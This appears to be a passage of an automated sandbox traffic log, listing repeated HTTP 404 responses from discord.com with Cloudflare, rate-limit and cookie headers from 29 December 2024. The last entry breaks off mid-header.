            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:00 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498982x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SmQgN8Bkb5p4tC9eLmADdG0ZD1Cc9uZkEiQKS29%2F3XCJGAAArUH8Y096R1MN%2BnvVxkGTp%2FVjYewXvg%2BNbh9Pyy14XlfQE5U%2BTr6HXiO22nai33yJGaOzTkt3Q%2BSV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=23823cab609d971f0f82be1af4b6dcf33a9d3964-1735498980; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=8bvJYm8vneycF0wLjDAnGKYytTPnB_jNbePUIaNbag8-1735498980996-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c367eb54301-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:02 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498983x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ew2eSJHs21nMyIaCjS1fgAB0hIte%2BxNqw079TaXbkJeR2kBRXsRDEFS1ke8E771MYFhMKHTcR%2BNnaMv5nekeQQ7xaAScDPrMvqA27kIgu1zTD0h53XctQdusGxEu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=a83e1b02b8bf0e6c4fe8f6315cbb2f437fc4f7b6-1735498982; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=sDbDnP8c3EQsAzdxnKSvOTrh8pv1NFi2WqQ8ocMCSi0-1735498982119-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c3ddc55726b-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:02 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498984x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2plpiH9sNqMfQqwohta98Ka8UWFcWZMzC1vZHEvKndpWvfGa6c8qshUDlJq%2FlKHmKJXBD2MBHAdeiJ2X48xh2LtmPEOUra4oIG1C2ZGo9u6beLMPa%2B9YR8vMALGW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=a83e1b02b8bf0e6c4fe8f6315cbb2f437fc4f7b6-1735498982; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=dyytUMLAmtE7eC2.A3TjG8YytCENP06uko0MPzuc500-1735498982814-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c41cff84331-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:03 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498985x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dz10feN7fAn99NPMZP773e%2FFXNtbjo%2BKdyH0xJmtsLNoAHsgKkPCzK%2FYVKg%2B92W%2FAPyxxiNNk7lOukeltG%2FQRYsoshBYvtWWIpEbjMe3udtBQPhrLSAh4Frw1OoB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=9e3e66dc681d70b9937e1195946526fe189d7f3e-1735498983; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=Q1t2swnpuPMmYcqSWEivjLPu1w11cnctRRnKVlKNp5o-1735498983981-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c4978d7c46b-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:04 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498985x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qZJxoqwcVQaHvDuV%2FCIWEie3dTkamZ7TxGBqwIFZZ7fEPMDzCO1dQdfjdf6CWkU7TgAZgqwSc2QTROmiMG3J6boLjT9eoRLGPTqf492UkMn9M%2BGxUsl60mHocZt2"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=938ae12eef9d59bb3bc3310a43663fa79e78fdbd-1735498984; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=pd.ELW.Q88rABbitgAjHxgPJTNaWDoB4Xx66RC66ZmQ-1735498984585-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c4ce8faf793-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:05 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498987x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y66lmSQjYqsL0eNaQvvIJkkpXxVp4%2Fgx%2FuYk%2BwzB4A5JLjXfQaYCaxDsd62qlQ0w2elCKRHjllh473aNq6Rb0zA709LCmdxGsdhJw5H2kphtmk4vZ6u0OYPyh6IL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=29a15a11205d521fade2fce24bb51dc81e422ff7-1735498985; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=h_xZ24ShyDMMmxOICgAN9wP.Mrjy0u4wF8iOCpj4Bzg-1735498985928-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c558a715e6d-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:06 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498987x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r7yP4ivm6RbandCcVRbVHU%2BPjKRFxmv60taRCz6t%2BXoMo%2Bsu93nT%2BXmZsVLssAnscBgqWoEs8jm6H1fg1PI71Px4%2FkDIU1u0cjmb%2F1FV4fVymoiWlXFppWs4CyrV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=bb459069412c3cf48a5fe98c4b8ff9406e04cfa2-1735498986; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=uBW5PRmawx..EwZVxQbmIEzqtncmSXqXKacr2iVRNDQ-1735498986400-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c5838e3de96-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:07 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498989x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gwMCpDWiehpHf74gXesUnb7hdkoZQiiZ1hHfH2YpMWiq%2BrB3NdT0uEAXduMBc%2FAUtEUDrHrKX8pQjfFOv95PALfxgsr7Vuo772yaUb3Ufs%2BgT9H3nTiVVoyEInj%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=7140a4c162eba94fe993e9a3dad9aa978c39aba2-1735498987; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=q2rHGilsPvHFAVAUKthGeNmueMjTBtYbRjgAE1rzpIw-1735498987755-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c60cba9334e-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:08 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498989x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lQbYUEQvUxh4unl42W32h2hvnzy%2FVE1VhKAcnSHKgzNI8vf6kiPw8L9dSBXiNd7aOqwu5g1up0OAin%2BSbGYDUlB08twXNlcOERMZCgRbsOevk%2FG02SBkLrCfC5dK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=76024ff7c673dd46b2083c4197580eab4ea9b999-1735498988; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=Ja1hOyMgMitpJaE__uQf1KC8kG3HAw68YQJA5aX7UMI-1735498988174-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c634b418c4e-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:09 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498990x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xokVQfuvoAClj1c%2ByMqPdjrzg1Zr9Gw2VfYw8z8123Z5fNoPD4%2Fu%2BJILF%2BYGmQi0Iy6CW%2BHPi3ppDvOsypNvKWZVz0gzbKzGbD2cfdTRna6zeQzuZt5PX6qwSRsw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=6ae2029e6d62e7c4d01080c22969844e20f5513b-1735498989; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=Lczx2jYGdoVNX3XRIDeW71T0puvRCLmtqEeDWUYtWyY-1735498989565-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c6c6dcac43b-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:09 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 3x-ratelimit-reset: 1735498991x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iDOvtni0VwcIGnbYbPwH4DsdnEDV0MP4ymC8Vq3X4QS1bpwKRxutQb0GONB5mnM8ujraBCQn4i2UQ13SeKEtXYqMMKGV4PS%2FWIEFj0wgQVF6Rwpdlp4LG37XOWGP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=6ae2029e6d62e7c4d01080c22969844e20f5513b-1735498989; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=dqOyUfTbJkXOw06SOns21wWU9LBc7MknpuXaV2iB.us-1735498989958-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c6e4ab141fb-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:11 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498992x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCRmBRF8aPSMLa2pli4fc8mQ6bjRNruDAiJAaePSy%2BP1NKqG%2BmWTgY590J%2Bq6i97xFPNK36CGVEp3zpkDxhHUZwX6g5%2FXyr7MGZhLm7owWaCpZQFz%2Bdgl0UPlSvi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=3abb171b141d78de30efa618112c77a211c14849-1735498991; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=PIiBxOZSEMWRtZ6KlEsfGNbUdS7i2dK3KICs.cGrzJk-1735498991459-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c782e3d438c-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:11 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 3x-ratelimit-reset: 1735498993x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e0KIqW47IG6PsgHSRgkbiHgd63Qf0tLBI96qeGHVtrKAMxf%2BXrEZpBxXbII7cZSQCpliW93BlUyIKMYr7IfEGzVgf%2BqUQqSRnN9gmu2CCfmYpws5vWMSLChNs55W"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=3abb171b141d78de30efa618112c77a211c14849-1735498991; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=rk_XeBQB43AsWEzr_p3i6OYMloKE0dQslHP6ElTH6bc-1735498991847-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c7a59854241-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:12 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498993x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iDxeDBbD1twnpOf33mkDXNidjOwSMPHDivs28Eceg7NFAgr1tcf%2F6avo%2BQ%2BGLq1WaCABsraHpPaCzLjv3SXUZF0VBgKY7aebsQm0yr9gUhibEAa3qNGo%2BkSkOkBj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=fb0620a1d440d8d9dc581fe7feecd809ce02036c-1735498992; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=7cTCxMQ23W0MXsOeJV5mu.iCoZ1Nwr3PWsHZBdn1xuo-1735498992556-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c7e987f42b2-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:13 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498994x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wHbxt5snp5LWE70zpj9teEQNkBY5uug3zFoqxfcAISGB53d9ORqG1qWUvMg12FR3WMsZZxyRVUbbzUoWj9hTBRUop47pMI9sHG6asOdGSVMi4y4xMkh0kbILCtzL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=c5c8ad22de9d9335f6f22020bcf3d643bcef42d3-1735498993; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=mAuKRqK4k312Eyps0ASto5iRBKJrj2RnDNjqZZE6xZo-1735498993233-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c8359fc80df-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:13 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498995x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P4cCz%2B6GTFKiNj27jMa3nOMnoHSuBzbzDJU5QYNhOymm66tk1DlM4KLpR%2B9AiDe3vhwJ6Ls20n4Pfb4C7X4q%2BBgBFKlI9ASyxyofWpYyAeWsKsPxc4wgOZ7OT9p7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=c5c8ad22de9d9335f6f22020bcf3d643bcef42d3-1735498993; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=mZUP9t.G9wKv88k84hir6t_BZNsAS7L6i21JDbhTAeM-1735498993889-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c87692ef5f8-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:14 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498995x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=52bY%2BB%2Bf8fFGJ%2BeR13r1vnKn0Vznx6g%2F%2FPLNNhfDhKAjNIETkVIZfLmMC47suoMCgLlyumogkTOuIrzLJOv0XRl3mmYof0r6THRsPMGskkWnmQEkcDZEuhLHnpj%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=2cd2b22600556013a937bfbb25f8ced4b5bdb3d6-1735498994; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=miv5VEcgMGvSszyEVQy4p4k8LoEzjiH9RqpR.yn2p4s-1735498994342-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c89dfda7c99-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:15 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498996x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zP9Fknv8PBgA1CPMHV23fygZA0AhUPGA57WxUg8oSoqTnYd7xTuPb7z1RZzdkh3gIwB0gYg1n8fW%2FVFV65ig72K4qBKR5JZQC8RN9g6XTjo8rVNbdRNZ2G2IWM4p"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=82c40b0008dad80de20b0eba30cc0737be6c58ea-1735498995; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=JRzLCGxbGi4.GEFzKlJaBRuFMimBaCAVS62_SeegYnI-1735498995036-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c8e78b8f793-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:15 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498997x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KQlHNLXZsoWsyTiTbJ5DMD7tODH1q2E1JwvMhvJi2rovB78oYoxne%2Ftg2WLTF%2BbNOOwCZxpL6Qt4n1vnkwxQEnfW3ieuEAQCIAth1ih2n8P8z2wwJFz4h0X1GqNG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=82c40b0008dad80de20b0eba30cc0737be6c58ea-1735498995; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=0vKBVEFNkYlYVXo91uyIw4xSlPGkR.p81jHRFtBklDU-1735498995703-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f9c0c929f6818b4-EWR
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 29 Dec 2024 19:03:16 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735498997x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UUJyDjfDUkGiKocw%2FuDMYE4ETUqPi00WxERk6r6EjjLwSy3Qh0rNofwrvF57cCONQG6swhTRmAj6ZbNYnMtcMgQVZLFacggCM2Fw6Bb%2BEIUdiJwP17F%2BKvOcRDBN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: 